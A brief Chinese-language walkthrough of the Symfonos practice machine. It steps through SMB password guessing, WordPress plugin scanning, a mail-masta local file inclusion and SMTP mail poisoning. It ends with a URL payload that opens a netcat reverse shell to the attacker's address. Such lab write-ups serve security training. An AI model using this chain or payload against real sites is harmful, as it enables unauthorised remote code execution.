Symfonos:SMTP与LFI

日常靶机

扫出靶机IP

然后用nmap来获取主机信息

可以看到，主机开启了25端口的SMTP服务

于是直接连接上共享

smb://192.168.40.155

然后打开不需要密码的目录

这里基本上给了信息，用这几个密码尝试连接helios目录，发现qwerty可以

访问h3l105，发现了一个wordpress搭建的站点

点击链接会跳转到http://symfonos.local，所以在本机的hosts里面加上这个IP和域名的映射

因为是WP搭的站，直接用wpscan扫一下

wpscan –url http://symfonos.local/h3l105

扫到了两个插件

然后去searchsploit试试，扫出来两个洞，其中有个本地文件包含

然后根据给定的poc去尝试漏洞

那么联系到之前扫到的25端口的smtp服务，可以试图通过邮件污染的方法进行RCE

发送一个有问题的邮件，然后弹一个shell过来

[http://192.168.40.155/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%20-e%20/bin/bash%20192.168.40.150%201551](http://192.168.40.155/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/bash 192.168.40.150 1551)